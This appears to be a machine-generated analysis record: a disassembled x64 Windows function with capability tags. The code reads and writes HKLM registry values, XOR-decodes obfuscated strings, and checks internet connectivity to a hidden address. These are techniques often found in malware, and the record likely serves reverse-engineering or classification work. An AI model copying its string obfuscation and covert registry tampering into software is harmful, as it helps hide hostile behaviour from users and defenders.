Function at 0x140033ea0
Capabilities:
Check internet connectivity via wininet
Encode data using xor
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14010c718]
xor rax, rsp
mov qword [rbp + 0x160], rax
xor ebx, ebx
mov esi, ebx
mov dword [rsp + 0x34], ebx
mov dword [rbp + 0x110], ebx
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r14d, 1
mov r9d, r14d
xor r8d, r8d
lea rdx, [0x1400f33b0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140033fbe
mov dword [rbp + 0x138], ebx
lea rax, [rbp + 0x138]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x13c]
xor r8d, r8d
lea rdx, [0x1400f3410]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140033fb1
cmp dword [rbp + 0x13c], 4
jne 0x140033fb1
lea rax, [rbp + 0x138]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x13c]
xor r8d, r8d
lea rdx, [0x1400f3410]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140033fb1
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140034001
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [0x1400f3510]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140034001
xor r8d, r8d
lea rdx, [0x1400f3570]
lea rcx, [0x1400f3510]
call fcn.140012270
cmp byte [0x14010e540], bl
je 0x140034e0a
movups xmm0, xmmword [str.YFGD]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [0x1400f6500]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400f6504]
mov word [rsp + 0x4c], ax
mov eax, 5
lea ecx, [rax + 0x1a]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400f6505], bl
je 0x1400341f3
mov r8d, ebx
cmp r13d, 2
jl 0x1400341af
movdqa xmm5, xmmword [0x1400fa330]
movdqa xmm4, xmmword [0x1400fa540]
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fa3d0]
movd xmm8, ecx
movdqa xmm0, xmmword [0x1400fa480]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rsp + 0x3c]
mov edx, dword [rbp + 0x100]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400340a0
cmp r8d, 0x16
jge 0x1400341f3
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400341c0
xor r8d, r8d
mov edx, r14d
lea rcx, [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x140034e0a
xor r12b, r12b
lea r8, [0x14010e370]
lea rdx, [rbp + 0x80]
lea rcx, [0x14010e430]
call fcn.1400283b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], rbx
mov qword [rbp + 0x130], rbx
movups xmm0, xmmword [rax + 8]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x18]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rax + 8], r12b
lea rcx, [rbp + 0x80]
call fcn.140031210
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rcx, qword [rbp + 0x118]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov r15d, eax
lea rdx, [0x14010e3b0]
cmp qword [0x14010e3c8], 0x10
cmovae rdx, qword [0x14010e3b0]
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rcx, qword [rbp + 0x118]
mov r8, qword [rbp + 0x128]
cmp r8, qword [0x14010e3c0]
jne 0x140034507
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140034507
mov dword [rbp + 0x110], ebx
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [0x1400f3460]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rdx, [0x1400f34c0]
test eax, eax
jne 0x14003435f
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140034381
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140034381
mov r8d, dword [rbp + 0x110]
lea rcx, [0x1400f3460]
test r8d, r8d
jne 0x14003437c
mov r8d, r14d
call fcn.140012270
jmp 0x140034381
call fcn.140012270
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140023420
nop
mov r9, rax
lea r8, [0x14010e370]
lea rdx, [rbp - 0x80]
lea rcx, [0x14010e430]
call fcn.140026870
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400343df
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400343da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003442a
call fcn.1400be344
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x58]
call fcn.140036220
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140034436
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034431
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034431
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140034487
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034481
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034481
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
nop
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x1400344c8
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400344c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034e03
call fcn.1400be344
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.1400bde00
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, dword [rbp + 0x110]
cmp eax, r15d
jge 0x140034521
mov r12b, 1
inc r15d
mov dword [rbp + 0x110], r15d
jmp 0x140034524
mov r15d, eax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [0x1400f36e0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rdx, [0x1400f3750]
test eax, eax
jne 0x140034595
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400345b7
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400345b7
mov r8d, dword [rbp + 0x110]
lea rcx, [0x1400f36e0]
test r8d, r8d
jne 0x1400345b2
mov r8d, r14d
call fcn.140012270
jmp 0x1400345b7
call fcn.140012270
mov rdi, qword [rbp + 0x128]
cmp rdi, 1
cmovb r14, rdi
lea rcx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rcx, qword [rbp + 0x118]
sub rdi, r14
lea r8, [rdi + 1]
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x128], rdi
test r12b, r12b
je 0x140034899
movups xmm0, xmmword [0x1400f6608]
movups xmmword [rsp + 0x38], xmm0
movzx eax, word [0x1400f6618]
mov word [rsp + 0x48], ax
mov edi, 5
lea r14d, [rdi + 0x1a]
cmp byte [0x1400f6619], 0
je 0x1400347d3
mov r8d, ebx
cmp r13d, 2
jl 0x14003478f
movdqa xmm5, xmmword [0x1400fa330]
movdqa xmm4, xmmword [0x1400fa540]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400fa3d0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400fa480]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rsp + 0x3c]
mov edx, dword [rbp + 0x100]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140034680
cmp r8d, 0x12
jge 0x1400347d3
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400347a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400347f0
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.14000b2f0
nop
or esi, 1
mov dword [rsp + 0x34], esi
mov edx, r15d
lea rcx, [rsp + 0x58]
call fcn.140023420
nop
or esi, 2
mov dword [rsp + 0x34], esi
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rdx, qword [rbp + 0x118]
mov r8, qword [rbp + 0x128]
mov rcx, rax
call fcn.140036b70
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or esi, 0x40
or esi, 4
mov dword [rsp + 0x34], esi
lea r9, [rbp + 0x40]
lea r8, [rbp]
lea rcx, [rbp + 0x20]
call fcn.1400149d0
bts esi, 7
lea rax, [rbp + 0x20]
or esi, 8
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x38]
jmp 0x14003490c
mov edx, r15d
lea rcx, [rbp + 0x60]
call fcn.140023420
nop
or esi, 0x10
mov dword [rsp + 0x34], esi
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rdx, qword [rbp + 0x118]
mov r8, qword [rbp + 0x128]
mov rcx, rax
call fcn.140036b70
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rax, [rbp - 0x20]
or esi, 0x120
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 8]
mov edi, 5
lea r14d, [rdi + 0x1a]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
mov qword [rcx], rbx
mov qword [rdx], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
test sil, 0x20
je 0x140034976
and esi, 0xffffffdf
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140034976
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034970
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034970
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
nop
test sil, 0x10
je 0x1400349ce
and esi, 0xffffffef
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400349bd
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400349b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400349b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
movdqa xmm0, xmmword [0x1400fa320]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
test sil, 8
je 0x140034a16
and esi, 0xfffffff7
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140034a16
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034a10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034a10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
nop
test sil, 4
je 0x140034a5e
and esi, 0xfffffffb
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140034a5e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034a58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034a58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
nop
test sil, 2
je 0x140034aba
and esi, 0xfffffffd
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140034aa7
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034aa2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034aa2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
movdqa xmm0, xmmword [0x1400fa320]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
test sil, 1
je 0x140034afe
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140034afe
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034af9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034af9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
lea r9, [rbp + 0x140]
lea r8, [0x14010e370]
lea rdx, [rbp - 0x80]
lea rcx, [0x14010e430]
call fcn.140026870
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140034b53
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034b4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034b9e
call fcn.1400be344
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x58]
call fcn.140036220
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140034baa
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034ba5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
cmp r15d, 3
jl 0x140034d64
lea rdx, [rsp + 0x38]
call fcn.140034e30
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x140034e10
cmp r13d, 2
jl 0x140034d20
movdqa xmm5, xmmword [0x1400fa330]
movdqa xmm4, xmmword [0x1400fa540]
movd xmm6, edi
movdqa xmm7, xmmword [0x1400fa3d0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400fa480]
movdqa xmmword [rbp + 0x100], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x100]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140034c10
cmp eax, 0x1a
jge 0x140034e10
movsxd r8, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x140034e10
jmp 0x140034d30
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x140034da8
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034da3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034da3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
movdqa xmm0, xmmword [0x1400fa320]
movdqu xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x1400344c8
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400344c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400344c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a750
nop
mov rdx, r9
lea rcx, [rbp]
call fcn.14000ae30
mov rcx, rax
call fcn.140035500
int3